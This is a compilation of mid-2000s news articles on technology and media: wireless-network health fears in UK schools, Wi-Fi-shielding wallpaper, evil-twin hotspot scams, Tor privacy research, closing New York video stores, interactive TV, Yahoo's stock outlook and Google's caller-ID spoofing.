Joanna Bale

• Radiation levels blamed for illnesses
• Teacher became too sick to work

Parents and teachers are forcing some schools to dismantle wireless computer networks amid fears that they could damage children’s health.
More schools are putting transmitters in classrooms to give pupils wireless access from laptops to the school computer network and the internet.

But many parents and some scientists fear that low levels of microwave radiation emitted by the transmitters could be harmful, causing loss of concentration, headaches, fatigue, memory and behavioural problems and possibly cancer in the long term. Scientific evidence is inconclusive, but some researchers think that children are vulnerable because of their thinner skulls and developing nervous systems.

At the Prebendal School, a prestigious preparatory in Chichester, West Sussex, a group of parents lobbied the headteacher, Tim Cannell, to remove the wireless network last month. Mr Cannell told The Times: “We listened to the parents’ views and they were obviously very concerned. We also did a lot of research. The authorities say it’s safe, but there have been no long-term studies to prove this.

“We had been having problems with the reliability of it anyway, so we decided to exchange it for a conventional cabled system.”

Vivienne Baron, who is bringing up Sebastian, her ten-year-old grandson, said: “I did not want Sebastian exposed to a wireless computer network at school. No real evidence has been produced to prove that this new technology is safe in the long term. Until it is, I think we should take a precautionary approach and use cabled systems.”

At Ysgol Pantycelyn, a comprehensive in Carmarthenshire, parents aired their concerns to the governors, who agreed to switch off its wireless network. Hywel Pugh, the head teacher, told The Times: “The county council and central government told us that wireless networks are perfectly safe, but as there were concerns we listened to them and decided that the concerns of the parents were of greater importance than our need to have a wireless network.”

Judith Davies, who has a daughter at the school, said: “Many people campaign against mobile phone masts near schools, but there is a great deal of ignorance about wireless computer networks. Yet they are like having a phone mast in the classroom and the transmitters are placed very close to the children.”

Stowe School, the Buckinghamshire public school, also removed part of its wireless network after a teacher became ill. Michael Bevington, a classics teacher for 28 years at the school, said that he had such a violent reaction to the network that he was too ill to teach.

“I felt a steadily widening range of unpleasant effects whenever I was in the classroom,” he said. “First came a thick headache, then pains throughout the body, sudden flushes, pressure behind the eyes, sudden skin pains and burning sensations, along with bouts of nausea. Over the weekend, away from the classroom, I felt completely normal.”

Anthony Wallersteiner, the head teacher of Stowe School, said that he was planning to put cabled networks in all new classrooms and boarding houses.

Professor Sir William Stewart, chairman of the Health Protection Agency, said that evidence of potentially harmful effects of microwave radiation had become more persuasive over the past five years. His report said that while there was a lack of hard information of damage to health, the approach should be precautionary.

A DfES spokesman said: “It’s up to individual schools to decide on this.”
http://www.timesonline.co.uk/article...461748,00.html





From 2004

Stealth Wallpaper Could Keep WLANs Secure

Keeps outsiders off your wireless network...
Ron Coates

UK defence contractor BAE Systems has developed a stealth wallpaper to beat electronic eavesdropping on company Wi-Fi networks.

The company has produced panels using the technology to produce a screen that will prevent outsiders from listening in on companies' Wi-Fi traffic but let other radio and mobile phone traffic get through.

The FSS (Frequency Selective Surface) panels are made in the same way as printed circuit boards - layers of copper on Kapton polymer - and used on stealth bombers and fighter jets. They come in two varieties: passive, which is effectively permanent, and active, where various areas can be switched on and off to enlarge or limit the area of the network.

The panels are 50 to100 microns thick and can be applied to most surfaces including glass. A company spokesman claimed that they also helped reduce "noise" in buildings where a number of companies operate their own separate LANs.

BAE Systems developed the new material with £145,000 of funding from the Radiocommunications Agency, which is now part of Ofcom. BAE says the material is cheap and it will be developing it commercially through BAE's corporate venture subsidiary.

There is no timescale for its commercial availability.
http://networks.silicon.com/lans/0,3...9121501,00.htm





'Evil Twin' Wi-Fi Hacks Target The Rich

Hackers after high net worth individuals in wireless scam
Iain Thomson

Locations popular with high net worth individuals are being targeted by hackers using phoney wireless access points to steal personal information.

So called 'evil twin' attacks involve putting a wireless access point near a commercial hotspot and giving it the same name.

When the unsuspecting user logs-on to the bogus hotspot their traffic is monitored, personal information can be gathered and in some cases the computer can be hacked remotely.

"We are not seeing these in Starbucks much, as there is not much value in a MySpace login," said Richard Rushing, chief science officer at Wi-Fi security firm AirDefense.

"Instead they are targeting the locations where the better-off are hanging out because they have something worth seeing."

Rushing explained that 'evil twins' had recently been found in the first class lounge of an international airport, and in garages that specialise in expensive cars that offered Wi-Fi while you wait. Train station lounges had also been targeted.

This form of attack uses social engineering and hacking, since a key part is lulling the suspect into a false sense of security but mimicking a legitimate service.

It also shows the extent to which hackers are having to deal with information overload from skimming too much information to process effectively.

The attacks are a growing problem for security managers. While corporate Wi-Fi networks are increasingly being locked down on installation, it is the individual user who is now seen as the weakest link.
www.vnunet.com/2169400





Podcast: Tor Peer-To-Peer Privacy Could be Hacked
SearchSecurity.com Staff

Andrew Christensen, a researcher with FortConsult, explains how the Tor peer-to-peer network of routers, which keeps IP addresses private, can be hacked to reveal user data. Tor is used to make Web browsing, publishing and instant messaging anonymous. The developers say the aim is to "defend against traffic analysis," which can inhibit privacy. But the FortConsult report suggests that users of Tor aren't as anonymous as they may think.
http://searchsecurity.techtarget.com...229376,00.html

MP3






Lights Out
Alex Mindlin

ONE evening late last month, Gary Dennis was striding around Movie Place, his video store on 105th Street near Broadway, with a cordless phone clamped to his ear. His graying hair was brushed back, and he spoke, as usual, out of the side of his mouth. “No, I’m not going to be in this industry anymore,” he told the caller. “The industry’s dying.” He waited a beat, then added, “I’m going to sell drugs to junior high schoolers.”

Movie Place, which occupies a pale yellow room in a second-floor storefront, has 24,000 titles, making it one of New York’s best-stocked video stores; the average Blockbuster carries only about 5,000 films. Movie Place’s holdings — sealed in binders, arranged in wooden crates, shelved high on every wall — include commercial hits but also the very obscure, from a 1984 self-help video starring Mr. T to a biopic of Karen Carpenter acted out with Barbie dolls.

Presiding over this treasure house is Mr. Dennis, a fierce-browed, loose-jointed 45-year-old who fills the air with a giddy mix of film trivia, sharp asides and ribbing. “He didn’t like ‘Arrested Development’!” he shouted, pointing at a customer in mock outrage. “Should we throw him out?”

Customers go to Movie Place to be part of this banter, but they will not be doing so for much longer. Faced with a large rent increase, Mr. Dennis plans to close his 22-year-old shop on Nov. 30.

Such closings are increasingly common in New York and around the country. Like the movie theaters that preceded them, video stores are fast becoming relics, and their signs may soon join those unlighted movie marquees (with a vestigial letter or two) that dot various neighborhoods and remind passers-by of what once was.

But the decline of the video store is more than a story of small merchants undone by technological change. Like movie theaters, and unlike delis or drugstores, video shops in a city as film-saturated and film-savvy as New York emerged as centers of neighborhood life.

Their selections mirror the people they serve, and their proprietors, like Mr. Dennis, can be beloved figures with a deep knowledge not only of local inhabitants’ film tastes, but also of other aspects of their lives.

“I came in here once, and I said, ‘My husband just got his teeth pulled,’ ” said Maxine McClintock, a longtime Movie Place customer. “‘What’s a good movie to watch when your teeth are pulled?’ ” Mr. Dennis recommended some screwball comedies, including “Libeled Lady,” a 1936 film with Spencer Tracy, William Powell and Myrna Loy.

Salvatore Ierardo, the liquidation director for Video One Liquidators, a Florida company that sells off video stores’ inventories on site, sees the deaths of these shops firsthand. The stores are like “the guy that used to deliver ice,” he said, adding, “He worked hard and everything, but the refrigerator was working while he was sleeping.” As for customers’ reaction to the demise, Mr. Ierardo said: “They know it’s inevitable, but they don’t feel comfortable. They know it’s been there a long time standing.”

Mom-and-Pops in Peril

The final scene in the story of Movie Place began last April, when its building was sold. Mr. Dennis had no lease, and his new landlord, Ralph Braha, offered him one at a monthly rent of $7,500, more than double what he was paying. Jay Litzman, a lawyer for Mr. Braha, said in an interview, “When you’re in a commercial setting and you don’t have a lease and someone takes over, you expect that the market will be reached.”

In the middle of last month, Mr. Dennis decided to fold his hand and close his store by Dec. 1. He does not plan to open a new one; business is too sluggish these days, he said, and his heart isn’t in it.

“Starting again would be like going back to an old girlfriend,” he said. “I’d always be second-guessing myself.”

Compared with some other video stores, Movie Place has not fared badly. For years, it resisted the forces that have been sweeping away many of the city’s other mom-and-pop video shops. Nationally, the number of privately owned video rental shops, as opposed to huge chains, fell to roughly 13,000 in 2005 from about 22,000 in 1996, according to Tom Adams, president of Adams Media Research, which tracks the entertainment industry.

The mom-and-pops were weakened by the rise of chains like Blockbuster, Hollywood Video and Movie Gallery, which together added almost 5,000 stores between 1996 and 2004, striking deals with the studios that gave them dozens of low-priced copies of hot new releases. Then the independents were buffeted by the arrival of cheap DVDs for sale, now a $16-billion-a-year business, along with the rise of Netflix and on-demand cable movies.

These trends have been especially harmful in New York, where rising rents are imperiling many small-margin businesses anyway. For New York, the list of casualties includes not only single-store video businesses but also small chains that have scaled back sharply or folded: Royal Video, Captain Video, Champagne Video.

Mr. Ierardo, the liquidation director, gets a knowing look from browsers when he is selling off a New York video store. “Some people walk in and go, ‘The rent, right?’ ” he said.

In any event, the decline of these shops has left New York’s many film lovers increasingly adrift. Until 2001, for example, the cognoscenti could hunt for Iranian or Bangladeshi films in the International Film and Video Center, an East Side store run by an Iranian film scholar. Until the mid-’90s, they could browse the sliding shelves at Video Shack, a pioneering sales-and-rental emporium near Times Square. Video Shack was such an early entrant to the business that it was selling videotapes before many customers knew what they were.

“People would come in one day, buy a video and then two days later, they’d bring it back because it didn’t fit in their television,” recalled the former owner, Arthur Morowitz. “We had actually out-marketed the VCR.”

The Corner Film Critic

The proprietors of many of the city’s video stores often became film critics of last resort. North Heights Video in Brooklyn Heights, a defunct outlet run by the wry, hyper-opinionated Martin Arno, had a vast selection of obscure and foreign films (anyone for “White Hell of Pitz Palu” a 1929 silent about German mountaineering?). Mr. Arno was known to favor Hitchcock over Bergman. “I watch a Bergman film,” he once said, “and I want to jump off a bridge.”

Mr. Dennis of Movie Place, who named his 7-year-old daughter, Ava, in honor of Ava Gardner, has probably never been asked a film-related question he cannot answer. Once, a woman who was leaving her husband at home for the weekend asked Mr. Dennis, “What are the movies he’d want to watch that I’d hate?” Mr. Dennis’s recommendations: “U-571,” a 2000 submarine thriller set during World War II, and “The Seven-Ups,” a 1973 police drama.

But the influence works both ways, with some shops coming to resemble their neighborhoods over the years, much as people and their pets are said to grow to look like each other.

World of Video, still operating on Greenwich Avenue in the still heavily gay West Village, is known for its gay and lesbian collection. At Cinémathèque in Park Slope, the large number of local writers had a hand in determining what was on the shelves. Paul Auster, the novelist, repeatedly requested “In a Lonely Place,” a 1950 Humphrey Bogart movie about a hot-tempered screenwriter. Eventually, he got his wish.

Channel Video, on Columbus Avenue on the Upper West Side, was shaped by its neighborhood of upscale cinephiles, people with highbrow but not obscure tastes. “He had gathered a collection of art-house movies and Criterion DVDs and things the customers wanted,” Mr. Ierardo said of David Cohn, the proprietor. “They’d ask for something, he’d buy it.”

Video stores are woven into the local fabric in other ways. A couple once asked Mr. Dennis if they could get married in his store. (He said no.) Some couples, among them Mr. Dennis and his wife, first met in the aisles. And last June, Mr. Dennis persuaded the city to give the name Humphrey Bogart Place to the block of 103rd Street west of Broadway, because the actor spent his early years there.

“I don’t know how I’m going to live without it,” John Reaves, a Movie Place patron, said the other day as he signed a petition to keep the store open. The petition was drafted by a local family, the Telushkins. Mr. Dennis was dubious about the petition’s chances of success, but that did not keep Benjamin Telushkin, a 13-year-old Fellini fan, from sitting at a card table down the street with a giant oaktag sign and shouting, “Save Movie Place!”

The Frustrated 2,500

The Upper West Side is suffering through a spasm of late-stage gentrification, with many of its restaurants, shops and grocers replaced by bank branches and chain drugstores. Mr. Dennis himself drew loud applause at a meeting of Community Board 7 this month when he declared: “Our neighborhood is becoming a punch line. You walk down Broadway, and it’s a Flintstones background: Duane Reade, wireless place, Duane Reade, wireless place.”

Upper West Siders are particularly protective of all their institutions, but the demise of Movie Place seems to have touched a raw neighborhood nerve. With the help of his mother, Devorah, and sisters, Shira and Naomi, Benjamin Telushkin gathered 2,500 signatures on their petition.

Such local affection surfaced a few weeks ago when Matt Unger and Stephanie Ehrlich, the couple who had asked to be married at Movie Place, arrived at the store. They had just learned that it was closing.

Grimacing, Mr. Unger said, “That’s one of these things that make you not want to live in New York anymore.”

Ms. Ehrlich looked at her husband. “What’s Gary going to do?” she asked.

“I don’t know,” Mr. Unger replied. “He seems to only be good at one thing.”

In fact, Mr. Dennis is making plans to sell off his inventory, perhaps to an online service. The only movies he wants to keep are “Casablanca,” “A Night at the Opera” and “Orchestra Wives,” a Glenn Miller musical. As for the rest, he said: “Where are you going to keep it? My wife invented that phrase — ‘Oh, you’re going to buy it? Where are you going to keep it?’ New York’s different.” Besides, he added, “this stuff’ll show up on TV.”

He spends part of every day fielding condolence calls, at least two dozen on a recent Monday. “I’m available for parties and bar mitzvahs,” he told one caller. Then, more gravely, he added: “Don’t worry. I’m chained to this neighborhood. They’re going to bury me in Straus Park when the time comes.” After shutting the store, Mr. Dennis may set up a movie Web site or, fittingly, write a book about defunct movie theaters.

One of the store’s final visitors was Karen Young, an actress who plays an F.B.I. agent in “The Sopranos” and a romantic rival of Charlotte Rampling’s in the 2006 film “Heading South.” Ms. Young, who lives two blocks from the store, raised her two children on slapstick Laurel and Hardy rented from Mr. Dennis, and she was shocked to hear of the closing. “You know how hard those are to find?” she said of those ’30s comedies. “This is awful.”

“You can buy most of those on DVD now,” Mr. Dennis said in a kind voice. Then he paused for a second. “Not the shorts.”
http://www.nytimes.com/2006/11/19/ny...ty/19vide.html





Your TV Would Like a Word With You
Lorne Manly

WHEN Gail Smith left for Guam in the late 1980s, to pursue a job as a computer teacher, the television-viewing experience she left behind in Florence, S.C., had barely budged since the medium’s beginnings. Save for the introduction of the remote and the VCR, the routine was essentially the same: turn on the set, plop down in the comfy chair and veg out.

Upon Ms. Smith’s return to the mainland 15 years later, the changes surrounding the once-dumb television set astounded her. “I feel like TV is soooo different,” she said recently. “It’s not like I’m sitting there being the couch potato.”

Like lots of other Americans, she rents a digital video recorder, which allows her to time-shift her favorite shows, and she can choose from hundreds of movies on demand. But in other regards Ms. Smith is ahead of the curve.

She is one of 160,000 Time Warner subscribers who, as part of a broad experiment, are living with what may well be the future of television: souped-up interactivity. As a result she gets to choose not just when she wants to watch certain programs, but to a greater or lesser extent what those programs look like on her screen — what news to magnify and what personalized information to call up, where to go deep and what to skip.

If she’s watching CNN or CNBC, she can select short video clips on the latest headlines or market news, just as she might while clicking her way around a Web site. When she can’t sleep, she can turn to the Weather Channel, click on an icon and dip into one of the network’s “Storm Stories,” the popular compendium of meteorological havoc.

This taste of control has left her wanting more. “I would like to do more fine-tuning,” said Ms. Smith, 55, who now works as a graphic designer. “And I think that day will come soon.”

She’s not alone. Grandiose promises of an interactive future circulated for decades, then seemingly died out a few years back. But today more than 25 million homes can engage with their television on something approaching their own terms. The omniscient television programmer symbolized by the opening of “The Outer Limits” — “For the next hour, sit quietly and we will control all that you see and hear” — has been humbled.

Hard-core football fans with DirecTV can arrange for instant alerts about their favorite players. Dish Network subscribers in 12 states can wager on horse races without hauling themselves from their La-Z-Boys. And some Time Warner subscribers can vote for their favorite reality television contestant by simply pressing a button.

In the coming months, ESPN iZone will allow Dish Network subscribers to get sports news when they want, rather than waiting until “Sports Center” gets around to them. And the Disney Channel Game Zone will offer kids arcade and character-driven games.

Still, there are plenty of hurdles to clear before these new offerings become the norm. Some are technological. Some are habitual: for example, can multitasking viewers handle yet another task? And there’s the question of whether customers even want these newfangled options. Television may never have been just a boob tube, but it’s unclear just how smart people really want it to be.

IN its very crudest form, a kind of paleo-interactivity has been around since television’s early years. Fans of “Winky Dink and You,” a 1950s children’s show, could send away for a kit that included special crayons and a piece of vinyl plastic. When Winky found himself in a spot of trouble, kids were told to stick the “magic drawing screen” on the television and draw Winky’s salvation. Many just scribbled on the screen.

New York area children of the 1970s may remember WPIX’s call-in contests: lucky viewers got a call inviting them to play a video game on the air, by screaming “PIX!” into the phone every time they wanted to fire a pixelated missile. On the other end of the line a hapless station employee would carry out the command.

Eventually the quest for interactivity got more sophisticated. QUBE, rolled out in Columbus, Ohio, in 1977, allowed viewers to order movies, cast mock votes on city council proposals, even bid in community auctions. In 1994 Time Warner’s Full Service Network arrived in Orlando, Fla., amid dazzling visions of movies on demand, video shopping and cool games.

But these later versions didn’t have much more impact than their crude forebears. And other prospectors — like Wink, WebTV, AOLTV and Tele-TV — came up empty-handed too.

As a result, consumers have grown justifiably wary of the promise that someday they and their televisions will speak to each other. But cultural theorists have grown just as skeptical of the notion that TV was ever a one-way conversation. Marshall McLuhan was among the first to question that model: “TV will not work as background,” he wrote in “Understanding Media: The Extensions of Man.” “It engages you. You have to be with it.”

Television viewing comes in many forms, said Susan Murray, a professor of culture and communication at New York University and the author of “Hitch Your Antenna to the Stars: Early Television and Broadcast Stardom.”

“We might be a ‘couch potato’ at times, which might involve watching television in such a way that lets us zone out, or we use it as background noise or company,” she said. “At other times we might become more actively engaged with a program as we pay close attention in order to work to figure out its cultural references, the nuances of its plot and character development, the way in which it might be in conversation with other programs, or the history or details of its production.”

Today’s more intricate shows, like “The Sopranos” or “Lost,” practically demand engaged, active viewing. “There’s a tolerance for complexity and paying attention that’s been bred in the audience,” said Steven Johnson, the author of “Everything Bad Is Good for You: How Today’s Popular Culture Is Actually Making Us Smarter.”

This “sleeper curve,” as Mr. Johnson refers to it in his book, began 25 years ago with “Hill Street Blues,” slowly training people to be more observant television watchers and follow more characters and plot lines.

Digital video recorders and DVD players have been a boon to those kinds of shows, which reward multiple viewings. Meanwhile audiences have gotten used to the participatory dynamic of the Web, where they can gratify almost any factual or visual craving, debate dramatic plot twists or craft “fan fiction” futures for their favorite characters.

“I think these largely marginal fan fiction obsessive sites are certainly destined to become more mainstream in the coming years, and that will make it increasingly essential for television shows to foster some kind of interactivity,” Mr. Johnson said. “Those fan sites are like the Dungeons and Dragons or dice baseball players 30 years ago. They looked like they were destined to be a sub-subculture, but in fact what they were doing eventually became the videogame industry, which is the dominant form of entertainment for 10- to 25-year-old boys now.

“You have this expectation of engagement that a whole generation is coming to television with.”

The new technological innovations might relocate some of those activities from the computer screen to the television screen. Some viewers of GSN game shows like “Who Wants to Be a Millionaire” who now play along through their computers will soon be able to do so through their remotes instead.

The new purveyors of interactive television insist they have learned from earlier missteps and have a better sense of exactly what people want to interact with.

For John Kelly, a computer technician for Adelphia high-speed cable in Wichita, Kan., that would be football. On top of the $249 he pays DirecTV for a season of its Sunday Ticket cavalcade of games, he ponies up another $99 for its Super Fan option. Now he can watch eight games at a time, all arrayed on his 54-inch television set, a trick that comes in handy when he and his brother watch football together. Mr. Kelly, 38, roots for the Green Bay Packers; his brother, Jackie, cheers on the Dallas Cowboys. And there’s no need to keep flipping channels.

Mr. Kelly can also customize the Sunday Ticket football package, to get immediate notices about the exploits of his favorite players and teams. Two Sundays ago, when a nurse friend had to work at the same time her beloved Tennessee Titans took the field, Mr. Kelly punched in some of their names. Whenever those Titans did something noteworthy on the field, an advisory would pop up on his television screen, and he’d fire off a text message to her.

“I would never have dreamed 20 years ago that I’d be able to do this on a TV in my lifetime,” added Mr. Kelly, who grew up in Maud, Okla., with a set that got only CBS. Now he doesn’t even like watching games at bars or at friends’ houses. Without his newfound powers, he says, “it feels like I have a hand cut off.”

This sort of passion explains why so many of these new bells and whistles involve sports. This summer, DirecTV subscribers could watch up to five live U.S. Open matches on the USA Network — at once. Dish Network subscribers could watch the Indianapolis 500 on six different camera feeds or zoom in on one of them. (More than half a million people gave it a try.) This past baseball season DirecTV viewers of the YES Network could pick the camera angle from which they wanted to watch the Yankees.

And why stop at real sports?

On a recent Sunday, as they do most weeks during the season, Eric Putnam and Adam Johnson settled in front of their 52-inch Toshiba rear-projection, high-definition television in an Upper West Side brownstone, to gorge on a day (and night) of football with beers in their hands (Budweiser for Mr. Putnam, Yuengling for Mr. Johnson).

While they have their sentimental favorites, their allegiances also extend to the men they’ve assembled for their fantasy squads. And that helps explain why they have laptops open in front of them: instantly to track how their fantasy teams are doing. Mr. Putnam, who competes with his fellow workers on the UBS Securities foreign exchange desk in Stamford, Conn., also often flits into his bedroom. There, his 25-inch Sharp Acquos LCD television has the player-tracker feature, which his big television doesn’t. Loaded with the names of some of the real players he and Mr. Johnson, who runs operations for the New York office of the Bonhams auction house, have drafted, it gives him updates of his players’ stats even faster than his computer does.

The experience has left these two virtual general managers wanting even more. “The interactive features, they’re nice to have, but that’s not the main reason I’m turning on the TV,” Mr. Putnam said. “Right now it’s more of a side dish. But I could see that changing down the road.”

Giving fantasy owners the ability to manage their teams right on the TV set, which some Time Warner Cable subscribers can already do, could make interactivity more central to the viewing experience. “This is the way you’re going to watch — and care about — football,” Mr. Putnam said.

Steve Koonin, president of Turner Entertainment Networks (which owns TBS, TNT, Court TV and Turner Classic Movies), said such “interactivity with consequences” provides a smart guiding philosophy for future developments. And it works just as well if viewers want to win a sports bet, place a vote or get specialized information.

On Bravo earlier this year, a third of “Top Chef” viewers in selected Time Warner markets registered their opinions on questions like “Which of these three contestants should go home right now?” The appeal: “Being in control of having their voice heard,” said Lauren Zalaznick, president of Bravo.

Randall Neighbour, a Dish Network subscriber in Houston, runs Touch Outreach Ministries, which helps churches set up small groups for activities like prayer and discussion. Because he travels a lot, he is partial to the weather offerings. Punching in a ZIP code, he can quickly learn the current conditions, get his fill of Doppler radar and check the five-day forecast for whatever locale he chooses. It’s a far cry from the offerings on the six channels Mr. Neighbour, 44, grew up with. If he timed it right, he got home from school in time for “Gilligan’s Island” and “I Love Lucy” repeats. But more often the good shows were on when he couldn’t watch them.

The arrival of the digital video recorder, and now interactive television, has made him “much more of a TV junkie than I’d like to be,” Mr. Neighbour said.

“I love my DVR,” he added with a laugh. “I’d marry it and have its children if I wasn’t already married.” Luckily the digital video recorder does not appear to be jealous of Mr. Neighbour’s wife. The couple will often get up early on Friday morning to watch “Grey’s Anatomy” at 6:30, lounging in bed with mugs of coffee.

Lately some dramas have begun experimenting with tiny doses of interactivity. The N’s “Degrassi: The Next Generation” invited viewers to weigh in on pressing topics like “Who looks hotter in a white tank top?”

But those kinds of add-ons can be a distraction from an absorbing story. Ms. Smith, the graphic designer in Florence, S.C., is a fan of shows like “Gilmore Girls” and “Grey’s Anatomy.” As much as she loves her television’s new interactive elements, she says she has no desire to, say, vote on future plot developments. “I want to see what the writers are going to do,” she said. “I like the surprise.”

And that, ultimately, may be the problem all these advances face, if interactive television is ever going to expand from its modest selection of sports, weather and reality shows, as well as advertising and home shopping. Some of the perceived limitations of TV — that it unfolds according to its own schedule, that writers and actors have more control than viewers do — are actually kind of fun. It’s exciting to imagine a day when viewers can decide how a series should end, but it may be more enjoyable to relax and let the experts decide.

It’s also not clear that anyone is willing to put aside the myriad distractions that have become such a deep part of the viewing experience. And all the maneuvering by the satellite and cable operators could be for naught if people continue to think of computers, not TV sets, as the place to interact with programming.

“Computers and the Net were designed from the ground up to be interactive,” said Mr. Johnson, the author. “I have to think that they will always offer more elaborate forms of interactivity than something the cable companies might stitch together.

“Ultimately are you trying to trick out the TV too much to do something that it isn’t really meant to do?”
http://www.nytimes.com/2006/11/19/ar...on/19manl.html





Sunny and Gloomy Signs at a Web Crossroads
Robert D. Hershey Jr.

IN mid-October, Yahoo, the world’s biggest Internet portal, reported a sharp profit skid and warned of a further growth slowdown in two major lines of business — a performance that its unusually contrite chief executive said had failed to fully exploit the company’s strengths.

That was enough for Scott W. Devitt, an analyst based in Manassas, Va., who covers Yahoo for Stifel, Nicolaus & Company, the investment banking firm. Three days later, Mr. Devitt downgraded Yahoo shares — which at the turn of the century traded above $100 and were then about $23 — to a hold from a buy. Fidelity Investments has also soured on the stock, but declined to say why it sold 55.6 million Yahoo shares between midyear and Oct. 31.

But Justin Post, a Merrill Lynch analyst in San Francisco, had the opposite reaction to the grim news from Yahoo. Just before Halloween, Mr. Post, noting the stock’s sharp drop this year, saw “an attractive entry point” and raised his appraisal to buy from neutral.

So is Yahoo stock, which now trades at $26.91, down 31.3 percent this year, a bargain suitable for value investors? Or is the once highflying company — which in its heyday was regarded not unlike today’s Google — destined to bring further disappointment?
Despite contrasting opinions, analysts and stockholders of Yahoo generally agree on what ails it. And there is a consensus that if it remained an underachiever, it would be a candidate for takeover.

The main problem is that Yahoo has not been nearly as good as Google at reaping profits from the huge volume of search traffic it attracts. Yahoo’s search revenue in the third quarter was $191 million, versus $911 million for Google, Mr. Post’s report estimated.

“Yahoo touches one out of every two people on the Internet every month, which is unparalleled reach,” said Randy Befumo, co-director of research at Legg Mason, which holds some 40 million Yahoo shares in various accounts, including funds run by Bill Miller, Legg Mason’s marquee mutual fund manager. Despite the fact that Yahoo actually has more traffic than Google,” Mr. Befumo said, Google has more revenue. “So there definitely is a problem with Yahoo’s monetization.”

According to Mr. Post, who also points to this issue, each domestic search generates about 4 cents for Yahoo, compared with 11 cents a search at Google.

Some analysts see other sources of concern — questions that the market may not have recognized as fully as the lag in converting search traffic to cash. Prominent among these is the strength of challenges to Yahoo’s commanding position in the branded business of display advertising on the Web. Mr. Devitt calls this issue “the new surprise.”

He points to more aggressive investment by Microsoft in MSN.com, its Internet portal; AOL unbundling its business and making it available free; and the rapid emergence of fresh competition from social networking sites like MySpace, Facebook and YouTube.

“That, as well as the traditional media moving on the Internet, has significantly increased the inventory for display advertising alternatives,” Mr. Devitt said. “It’s impacted the pricing pressure and the dominance that Yahoo had in that business.”

Mr. Post of Merrill Lynch acknowledges the drag on Yahoo’s business. The industry’s growth rate is catching up with Yahoo’s in this area, he said. “When someone’s growth rate is declining, it’s hard to know where the bottom is,” Mr. Post said. Still, he said, Wall Street’s worries about this seem overdone, creating a buying opportunity at the beginning of a traditionally strong holiday period for the Internet.

Then there is the problem of eroding revenue from Web sites that are increasingly choosing to link to Google, which can provide better monetization of traffic. “This is something that puts at risk Yahoo’s network business longer-term,” Mr. Devitt said.

Yahoo management, led by its chief executive, Terry S. Semel, is counting heavily on a technological upgrade of its search engine to enhance profits. The delayed upgrade, called Project Panama, is now scheduled for introduction in 2007, and analysts expect it to narrow Yahoo’s search gap with Google. Merrill Lynch figures that the project will raise revenue per search to around 5 cents in 2008, or as much as 7 cents if Panama proves a rousing success.

“Monetization is a hard thing; not too many people do it very well,” said Mr. Befumo at Legg Mason. But, he contended, Yahoo has some appealing alternatives.

“If you have a traffic problem, then you have a fundamental business problem because you have nothing to convert into revenue dollars,” he said. “But if you have a monetization problem, which is what Yahoo effectively has, you always have options.”

If Project Panama falls short, Mr. Befumo said, Yahoo could have Google or Microsoft do Web-searching for it in return for perhaps 5 or 10 percent of the revenue. “You could solve the monetization problem overnight” with such a contract, he said.

Yahoo shares, which have climbed about 11 percent in the past month, have been supported by company buybacks — over $1 billion worth in the third quarter, more than triple the purchases in the second quarter — and by what appears to be increased speculation that the company is a possible target for acquisition, perhaps in a private-equity deal or a leveraged buyout. Yahoo could also buy another company, and Facebook has been mentioned as a possibility.

A spokeswoman for Yahoo said it did not comment on such speculation.

In his report upgrading the shares, Mr. Post wrote that “we think Yahoo’s assets would be compelling for Microsoft or a large media conglomerate looking to build a meaningful online presence.” He set a 12-month price goal of $32 but said that there was a risk they could fall to $22.

MR. POST came up with his $32 figure this way: he assigned a multiple of 25 to projected 2007 free cash flow of $1 — meaning that the stock would be worth $25 on the basis of that flow alone — then added $3 for the value of Yahoo Japan, $1 for the company’s Alibaba operation in China and $3 in cash.

Mr. Devitt, who is more skeptical about the stock, said that it “probably does have upside” potential if Yahoo can stabilize its branded graphic display advertising and derive some benefit from Project Panama next year. In the meantime, he said, the stock is likely to languish. At Legg Mason in Baltimore, Mr. Miller, portfolio manager of Legg Mason Value Trust, told investors in August that the intrinsic current value of Yahoo was perhaps double its market price then of about $27.

The firm’s optimism seems undiminished. Though it has pared its peak Yahoo position, Legg Mason Value Trust still held 19.2 million shares on Sept. 30. Yahoo’s stock decline this year is one reason that the fund may fail to beat the Standard & Poor’s 500-stock index after outperforming it for 15 years in a row. So far, the fund is lagging behind the index by more than nine percentage points.

Mr. Befumo of Legg Mason said that Yahoo’s stock began to be “sort of crazy cheap” last month, and that other “classic value guys are actually starting to sniff around the name because, on a cash-flow basis, it’s particularly cheap.”

Mr. Miller was not available for comment, a spokeswoman said. Mr. Befumo contends that Yahoo’s intrinsic value is in the mid-$40s, pointing to the stepped-up buybacks as evidence that the company agrees. Although he said the stock could drop into the teens if it were ever evaluated like traditional media businesses, he also said that it could leap into the $60s in the perhaps equally unlikely event that it traded at parity with Google.

At the moment, though, the gap between the stock market’s valuations of Google and Yahoo is enormous. Yahoo’s market capitalization is about $36.6 billion, and its price-to-earnings ratio is 34.1, based on trailing earnings. By contrast, Google has a market cap of $152.7 billion and a trailing P/E of 63.3, according to numbers available on the Yahoo Finance site.

Students of Yahoo say that while the company may be acquired, no deal is likely before Project Panama begins to show results, one way or another. Merrill Lynch figures that the project will raise Yahoo’s revenue $250 million to $500 million in 2008 — and warned that investors could be “too late” if they waited to buy until Panama’s rollout risks had passed.

Ultimately, Mr. Befumo said, the search engine business will shake down to a natural worldwide duopoly. “We think that Google and someone else — we think the odds are Yahoo — will do this for a majority of the Internet,” he said. “Very few other people will be able to get the scale of traffic required to make it work.”
http://www.nytimes.com/2006/11/19/bu...y/19yahoo.html





New Google Service Will Manipulate Caller-ID
Lauren Weinstein

Greetings. Google has made available a new "Click-to-Call" service that will automatically connect users to business phone listings found via Google search results.

In order for this feature to function, the user must provide their telephone number so that Google can bridge the free call between the business and the user (including long distance calls).

An obvious issue with such a service is that there is no reasonable way to validate the user phone number that is provided. Google says that they have mechanisms in place to try avoid repeated prank calls, but the potential for abuse is obvious.

Of even greater concern is that Google says that it will manipulate the caller-ID on the calls made to the user-provided number, to match that of the business being called. This is extremely problematic, since it could be used to try to convince a prank target that they were being called directly by the business in question, and so cause that target to direct their anger at the innocent business. In the case of targets who are on do-not-call lists, it is possible to imagine legal action being taken by callers upset that the business in question called them "illegally," though in fact the call had been made by the Google system.

Google's explanation for this caller-ID manipulation is that it would be handy to have the called business number in your caller-ID for future calls. That may be true, but the abuse potential is way too high. Caller-ID should never be falsified.

I've written many times about how caller-ID can be manipulated to display false or misleading information, why this should be prevented, and how the telcos have shown little interest in fixing caller-ID or informing their customers about the problem (caller-ID is a cash cow for the telcos whether it is accurate or not).

